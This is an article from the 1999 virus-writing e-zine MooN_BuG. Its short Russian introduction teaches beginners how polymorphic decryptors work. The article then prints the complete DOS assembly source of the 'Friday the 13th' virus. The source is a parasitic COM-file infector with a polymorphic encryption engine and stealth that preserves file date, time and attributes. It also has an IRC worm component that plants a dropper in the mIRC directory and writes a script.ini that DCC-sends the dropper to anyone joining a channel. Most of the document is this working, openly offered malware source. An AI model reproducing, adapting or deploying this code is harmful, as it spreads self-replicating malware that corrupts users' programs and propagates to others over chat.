[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 10, Apr 1999 file 006
-* Polymorphism for beginners, Friday the 13th version 0.92 *-
Copy-ya-right (c) March 1999, Mongoose of -=MY=-
Представляя этот вирус вам, я поступаю против своих принципов и принципов
группы Misdirected Youth, т.к. этот журнал и вирус сразу же после выпуска по-
падет в руки аверов. Но я думаю, что этот вирус поможет начинающим в освоении
полиморфности. Это конечно же не DAME, но здесь все просто и понятно.
Скелет декритора представляет из себя следующее:
┌─ mov reg1,key
1ая группа │ mov reg2,rnd_number
└─ mov reg3,code_location
locloop_1: xor/add/sub [reg3],reg1
┌─ inc reg3
2ая группа │ inc reg1
│ inc reg3
└─ inc reg2
cmp reg2,rnd_number+code_size
jnz locloop_1
reg1 - регистр для ключа, выбирается из ax, cx, dx, bx, si и di
reg2 - регистр для размера, выбирается из cx, dx, bx, si и di
reg3 - регистр для оффсета, выбирается из si, di и bx
key - ключ
code_size - размер кода
rnd_number - случайное число
code_location - место расположения шифрованного тела
Инструкции первой группы перемешиваются (меняются местами друг с другом),
тоже делают и инструкции второй группы. Изменяются регистры и метод криптова-
ния.
P.S. С радостью отвечу на возникшие у вас вопросы.
─────[FRIDAY13.ASM]──[START]───────────────────────────────────────────────────
;┌───────────────────────────────────────────────────────────────────────────┐
;│ Friday the 13th v0.92 [C] Mongoose of Misdirected Youth, March '99 │
;├───────────────────────────────────────────────────────────────────────────┤
;│ Virii Type: COM.CRYPT.VIRUS (parasitic) │
;│ Polymorphic: Polymorphic of 2 and 4 levels │
;│ Stealth: Save date, time & attributes │
;│ Error Handler: Yep │
;│ Virii Size: 1165 │
;│ Need to compile: Compile with one pass │
;└───────────────────────────────────────────────────────────────────────────┘
.model tiny
.code
org 100h
start: jmp real_start
nop
real_start: call calculate_ip ; Calculate IP (delta offset)
calculate_ip: pop si
xchg bp,si
sub bp,offset calculate_ip
restore_orig: cmp byte ptr [bp+file_frmt],1; Check file format
jz set_dta ; If it mICR copy, not restore
; orig bytes, we don't need it
mov di,100h ; Restore original bytes
lea si,[bp+original_bytes]
movsw ; Move two bytes
movsw ; Move another two bytes
set_dta: mov ah,1ah ; Set DTA
lea dx,[bp+dta]
int 21h
mov ax,3524h ; Get orig Int 24h
int 21h
mov word ptr [bp+old_int24],bx
mov word ptr [bp+old_int24+2],es
mov ax,2524h ; Set new handler
lea dx,[bp+new_int24]
int 21h
push cs
pop es
mov ah,4eh ; Find first COM-file
mov cx,7
lea dx,[bp+com_mask]
search_next: int 21h
jc no_more
mov ax,4300h ; Get attributes
lea dx,[bp+dta+1eh]
int 21h
mov word ptr [bp+attribs],cx ; Save attributes
mov ax,4301h ; Clear attributes
sub cx,cx
lea dx,[bp+dta+1eh]
int 21h
mov ax,3d02h ; Open for read/write
lea dx,[bp+dta+1eh]
int 21h
xchg bx,ax ; Move file handle to bx
mov ax,5700h ; Get file date and time
int 21h
mov word ptr [bp+time],cx ; Save time
mov word ptr [bp+date],dx ; Save date
mov cx,word ptr [bp+dta+1ah] ; File size
cmp cx,2000 ; Check file size
jb close
cmp cx,64000
ja close
mov ah,3fh ; Read 4 bytes
mov cx,4
lea dx,[bp+original_bytes]
int 21h
cmp word ptr [bp+original_bytes],'ZM'
jz close
cmp byte ptr [bp+original_bytes+3],5
jz close
call infect_file ; Infect file
close: mov ax,5701h ; Restore orig date and time
mov cx,[bp+time]
mov dx,[bp+date]
int 21h
call close_file
mov ax,4301h ; Restore file attributes
mov cx,[bp+attribs]
lea dx,[bp+dta+1eh]
int 21h
mov ah,4fh ; Find next file
jmp search_next
no_more: call mirc ; Find & infect mIRC
mov ah,1ah ; Restore DTA
mov dx,80h
int 21h
mov ax,2524h ; Restore old int 24 handler
lea dx,[bp+old_int24]
int 21h
push cs
pop ds
return_control: ; Return control to infected pr
cmp byte ptr [bp+file_frmt],1; Check file format
jz exit_to_dos ; If it dropper, exit to DOS
mov di,100h
jmp di
exit_to_dos: int 20h
;┌────────────────────────────────────────────────────────────────────────────
;│ Infect file
;└────────────────────────────────────────────────────────────────────────────
infect_file: mov cx,word ptr [bp+dta+1ah] ; File size
sub cx,3
mov byte ptr [bp+temp],0e9h
mov word ptr [bp+temp+1],cx
mov byte ptr [bp+temp+3],5
mov ax,4200h ; Move pointer to begin
sub cx,cx
cwd
int 21h
mov ah,40h ; Write JMP
mov cx,4
lea dx,[bp+temp]
int 21h
mov byte ptr [bp+file_frmt],0; Set file format
crypt: mov ax,4202h ; Move pointer to end
sub cx,cx
cwd
int 21h
call engine
mov ah,40h ; Write decryptor & crypted
lea dx,[bp+xor_buffer] ; body
int 21h
ret
;┌────────────────────────────────────────────────────────────────────────────
;│ Find and infect mIRC client
;└────────────────────────────────────────────────────────────────────────────
mirc: mov ah,47h ; Save current path
sub dx,dx
lea si,[bp+path]
int 21h
mov ah,19h ; Get current drive
int 21h
mov byte ptr [bp+drive],al
mov si,1
drive_loop: inc si ; Drive = C
cmp si,9 ; Check 8 drives
jz mirc_not_fnd
mov ah,0eh ; Try to change drive
mov dx,si
int 21h
mov ah,3bh ; Search for mIRC directory
lea dx,[bp+mirc_cat]
int 21h
jc drive_loop ; If not found, try again
end_loop: ; Found mIRC
mov ah,3ch ; Create file for mIRC
sub cx,cx
lea dx,[bp+mirc_file]
int 21h
xchg bx,ax ; Move file handle to bx
mov byte ptr [bp+file_frmt],1; Set file format (1-mICR copy)
call crypt
call close_file ; Close file
create_script: mov ah,3ch ; Create or recreate script.ini
sub cx,cx
lea dx,[bp+mirc_scr]
int 21h
xchg bx,ax ; Move file handle in bx
mov ah,19h ; Get current drive (where
int 21h ; mIRC client situated)
add al,61h ; Prepare drive for script.ini
mov byte ptr [bp+mirc_on_drive],al
mov ah,40h ; Write script
mov cx,(script_end-script_start)
lea dx,[bp+script_start]
int 21h
call close_file
mirc_not_fnd: mov ah,0eh ; Restore drive
mov dl,byte ptr [bp+drive]
int 21h
mov ah,3bh ; Restore directory
lea dx,[bp+path]
int 21h
ret
;┌────────────────────────────────────────────────────────────────────────────
;│ New int 24 handler
;└────────────────────────────────────────────────────────────────────────────
new_int24: mov al,3
iret
;┌────────────────────────────────────────────────────────────────────────────
;│ Close file
;└────────────────────────────────────────────────────────────────────────────
close_file: mov ah,3eh
int 21h
ret
;╒════════════════════════════════════════════════════════════════════════════
;│ Polymorphic engine (of second'n'four polymorphic levels)
;└────────────────────────────────────────────────────────────────────────────
;│ ┌─ mov reg1,key │
;│ 1st group │ mov reg2,rnd_number │
;│ └─ mov reg3,code_location │
;│ locloop_1: xor/add/sub [reg3],reg1 │
;│ ┌─ inc reg3 │
;│ 2nd group │ inc reg1 │
;│ │ inc reg3 │
;│ └─ inc reg2 │
;│ cmp reg2,rnd_number+code_size │
;│ jnz locloop_1 │
;│ │
;│ reg1 - rnd register (for key), choose from ax, cx, dx, bx, si&di │
;│ reg2 - rnd register (for cycle), choose from cx, dx, bx, si, di │
;│ reg3 - rnd register (for offset), choose from si, di and bx │
;│ key - key, used to crypt and decrypt virii body │
;│ code_size - body size │
;│ rnd_number - random number │
;│ code_location - crypted body location │
;└───────────────────────────────────────────────────────────────────────────┘
engine: in ax,40h ; Get random key
mov word ptr [bp+seed],ax ; Set seed, turn on RNG
xchg cx,ax
call get_rnd_number
mov word ptr [bp+decryptor+1],ax
mov cx,(crypt_methods-decryptor) ; Calculate decrypted code
add cx,100h ; offset
cmp byte ptr [bp+file_frmt],1; If we infect file, continue
jz set_offset
add cx,word ptr [bp+dta+1ah]
set_offset: mov word ptr [bp+location+1],cx
call get_rnd_number
mov word ptr [bp+code_size+1],ax
add ax,(string-real_start)/2
mov word ptr [bp+compare+2],ax
;┌────────────────────────────────────────────────────────────────────────────
;│ Step 1. Choose crypt & decrypt method (add/sub/xor)
;└────────────────────────────────────────────────────────────────────────────
method: mov cx,3 ; Choose from 3 methods
call get_rnd_number ; Get crypt method
lea si,[bp+crypt_methods]
add si,ax
mov al,byte ptr [si]
mov byte ptr [bp+xor_loop],al; Move method to crypter
check_sub: cmp al,29h
jnz check_add
mov al,01h
jmp move_method
check_add: cmp al,01h
jnz move_method
mov al,29h
jmp move_method
move_method: mov byte ptr [bp+dec_loop],al
;┌────────────────────────────────────────────────────────────────────────────
;│ Step 2. Choose registers for decryptor and change old registers on new
;└────────────────────────────────────────────────────────────────────────────
choose_first: mov cx,8 ; Choose from 8 registers
call get_rnd_number
cmp ax,2 ; If we get DX or lower (CX,AX)
jna choose_first ; Choose another
cmp ax,4 ; SP?
jz choose_first ; Choose another
cmp ax,5 ; BP?
jz choose_first ; Choose another
mov byte ptr [bp+reg],al ; Save register
modify_locatn: push ax ; Modify MOV REG1,XXXX
add al,0b8h
mov byte ptr [bp+location],al
pop ax
modify_inc: add al,40h ; Modify
mov byte ptr [bp+inc_1],al ; INC REG1
mov byte ptr [bp+inc_3],al ; INC REG1
choose_second: mov cx,8 ; Choose second register
call get_rnd_number
cmp al,byte ptr [bp+reg] ; Our first register?
jz choose_second ; Choose another
or ax,ax ; AX?
jz choose_second ; Choose another
cmp ax,4 ; SP?
jz choose_second ; Choose another
cmp ax,5 ; BP?
jz choose_second ; Choose another
mov byte ptr [bp+reg+1],al ; Save second register
modify_inc4: push ax ; Modify
add al,40h ; INC REG2
mov byte ptr [bp+inc_4],al
pop ax
modify_size: push ax ; Modify MOV REG2,XXXX
add al,0b8h
mov byte ptr [bp+code_size],al
pop ax
modify_cmp: add al,0f8h ; Modify CMP REG2,XXXX
mov byte ptr [bp+compare+1],al
choose_third: mov cx,8 ; Choose third register
call get_rnd_number
cmp al,byte ptr [bp+reg] ; Our first register?
jz choose_third ; Choose another
cmp al,byte ptr [bp+reg+1] ; Our second register?
jz choose_third ; Choose another
cmp ax,4 ; SP?
jz choose_third ; Choose another
cmp ax,5 ; BP?
jz choose_third ; Choose another
mov byte ptr [bp+reg+2],al ; Save third register
modify_key: push ax ; Modify MOV REG3,YYYY
add al,0b8h
mov byte ptr [bp+decryptor],al
pop ax
modify_inc_2: add al,40h ; Modify
mov byte ptr [bp+inc_2],al ; INC REG3
modify_dec: mov ax,8 ; Modify
mov cl,byte ptr [bp+reg+2] ; XOR/ADD/SUB [REG1],REG3
mul cx
xchg dx,ax
mov al,byte ptr [bp+reg]
cmp ax,3
jnz check_si
add dl,7
jmp write_to_dec
check_si: cmp ax,6
jnz its_di
add dl,4
jmp write_to_dec
its_di: add dl,5
write_to_dec: mov byte ptr [bp+dec_loop+1],dl
;┌────────────────────────────────────────────────────────────────────────────
;│ Step 3. Permutate 2 groups of registers, and write decryptor
;└────────────────────────────────────────────────────────────────────────────
permutation: mov cx,3 ; Sort instructions
call get_rnd_number
mov [bp+_mov1_real],al ; Choose position for 1st mov
second: call get_rnd_number ; Choose position for 2nd mov
cmp al,[bp+_mov1_real] ; Check, is it buzy
jz second ; If buzy, get another
mov [bp+_mov2_real],al
third: call get_rnd_number ; Choose position for 3rd mov
cmp al,[bp+_mov1_real]
jz third
cmp al,[bp+_mov2_real]
jz third
mov [bp+_mov3_real],al
choose_inc1: mov cx,4 ; Sort instructions
call get_rnd_number
mov [bp+_inc1_real],al ; Choose position for 1st inc
choose_inc2: call get_rnd_number ; Choose position for 2nd inc
cmp al,[bp+_inc1_real] ; Check, is it buzy
jz choose_inc2 ; If buzy, get another
mov [bp+_inc2_real],al
choose_inc3: call get_rnd_number ; Choose position for 3rd inc
cmp al,[bp+_inc1_real]
jz choose_inc3
cmp al,[bp+_inc2_real]
jz choose_inc3
mov [bp+_inc3_real],al
choose_inc4: call get_rnd_number ; Choose position for 4th inc
cmp al,[bp+_inc1_real]
jz choose_inc4
cmp al,[bp+_inc2_real]
jz choose_inc4
cmp al,[bp+_inc3_real]
jz choose_inc4
mov [bp+_inc4_real],al
move_1st: lea di,[bp+xor_buffer]
push di
mov al,[bp+_mov1_real]
mov cx,3
mul cx
add di,ax ; Check position to write
lea si,[bp+decryptor]
movsw ; Write MOV REG1,XXXX (3 bytes)
movsb
move_2nd: pop di
mov al,[bp+_mov2_real]
mul cx
push di
add di,ax ; Check position to write
lea si,[bp+code_size]
movsw ; Write MOV REG2,XXXX (3 bytes)
movsb
move_3rd: pop di
mov al,[bp+_mov3_real]
mul cx
add di,ax
lea si,[bp+location]
movsw ; Write MOV REG3,XXXX
movsb
lea di,[bp+xor_buffer+9] ; Write after 3 MOVs
lea si,[bp+dec_loop] ; Crypt instruction location
mov word ptr [bp+engine_temp],di ; LOOP XXXX
movsw
move_incs: lea di,[bp+xor_buffer+11] ; Write 3 INCs
push di
mov al,[bp+_inc1_real]
add di,ax
lea si,[bp+inc_1]
movsb
pop di
mov al,[bp+_inc2_real]
push di
add di,ax
lea si,[bp+inc_2]
movsb
pop di
mov al,[bp+_inc3_real]
push di
add di,ax
lea si,[bp+inc_3]
movsb
pop di
mov al,[bp+_inc4_real]
add di,ax
lea si,[bp+inc_4]
movsb
lea di,[bp+xor_buffer+15] ; Copy rest of decryptor
lea si,[bp+compare]
movsw
movsw
movsw
mov ax,word ptr [bp+engine_temp] ; Set loop
sub ax,di
mov byte ptr [di],al
lea si,[bp+real_start] ; Move code after decryptor
mov cx,(end_of_code-real_start)
push di ; Save offset
cld
rep movsb
pop di ; Restore offset
mov ax,word ptr [bp+decryptor+1]
mov cx,(string-real_start)/2 ; Size of crypted code
xor_loop: xor word ptr [di],ax ; Crypt two bytes
inc di
inc di
inc ax ; Increase key
loop xor_loop ; Reply this, until CX=0
mov cx,(crypt_methods-decryptor)+(end_of_code-real_start)
ret
decryptor: mov dx,0 ; Decryptor sceleton
code_size: mov cx,0
location: mov bx,0
dec_loop: xor word ptr [bx],dx
inc_1: inc bx
inc_2: inc dx
inc_3: inc bx
inc_4: inc cx
compare: cmp cx,(string-real_start)/2
cycle: jnz dec_loop
;┌────────────────────────────────────────────────────────────────────────────
;│ Polymorphic engine data
;└────────────────────────────────────────────────────────────────────────────
crypt_methods db 31h,29h,01h
;┌─────────────────────────┬──────────────────────────────────────────────────
;│ Random number generator │ Generate random number from 0 to CX
;└─────────────────────────┴──────────────────────────────────────────────────
get_rnd_number:push bx
mov ax,[bp+seed]
mov bx,261
mul bx
mov bx,65521
div bx
or dx,dx
jnz okey
inc word ptr [bp+seed]
jmp get_rnd_number
okey: mov word ptr [bp+seed],dx
mov ax,dx
sub dx,dx
div cx
mov ax,dx
pop bx
ret
;┌────────────────────────────────────────────────────────────────────────────
;│ Engine END
;╘════════════════════════════════════════════════════════════════════════════
;┌────────────────────────────────────────────────────────────────────────────
;│ Data for script file
;└────────────────────────────────────────────────────────────────────────────
script_start db '[script]',13,10 ; Script header
db 'n0=on 1:JOIN:#:/dcc send $nick '
mirc_on_drive db ? ; Drive where mIRC situated
mirc_path db ':\mirc\' ; mIRC standart location
mirc_file db 'mirc_upd.com',0 ; mIRC file (virii dropper)
script_end label byte
;┌────────────────────────────────────────────────────────────────────────────
;│ DATA
;└────────────────────────────────────────────────────────────────────────────
mirc_cat db '\mirc',0 ; mIRC directory
com_mask db '*.com',0 ; COM-files mask
original_bytes db 0cdh,21h,?,? ; Original bytes
file_frmt db 0 ; File format (0 or 1)
mirc_scr db 'script.ini',0 ; mIRC script
string db 'Misdirected Youth'
end_of_code label byte
;┌────────────────────────────────────────────────────────────────────────────
;│ HEAP
;└────────────────────────────────────────────────────────────────────────────
seed dw ? ; Seed for random number gen
engine_temp dw ? ; For engine
reg db 3 dup (?) ; ---//---
_mov1_real db 0 ; ---//---
_mov2_real db 1 ; ---//---
_mov3_real db 2 ; ---//---
_inc1_real db 0 ; ---//---
_inc2_real db 1 ; ---//---
_inc3_real db 2 ; ---//---
_inc4_real db 3 ; ---//---
temp db 4 dup (?) ; For JMP addres & 05h
dta db 43 dup (?) ; For DTA
date dw ? ; For date
time dw ? ; For time
path db 64 dup (?) ; For path
drive db ? ; Drive
attribs dw ? ; For attrib
old_int24 dd ? ; Old Int 24 handler
xor_buffer db end_of_code-restore_orig dup (?)
end start
─────[FRIDAY13.ASM]──[EOF]─────────────────────────────────────────────────────
Copy-ya-right (c) March 1999, Mongoose of -=MY=-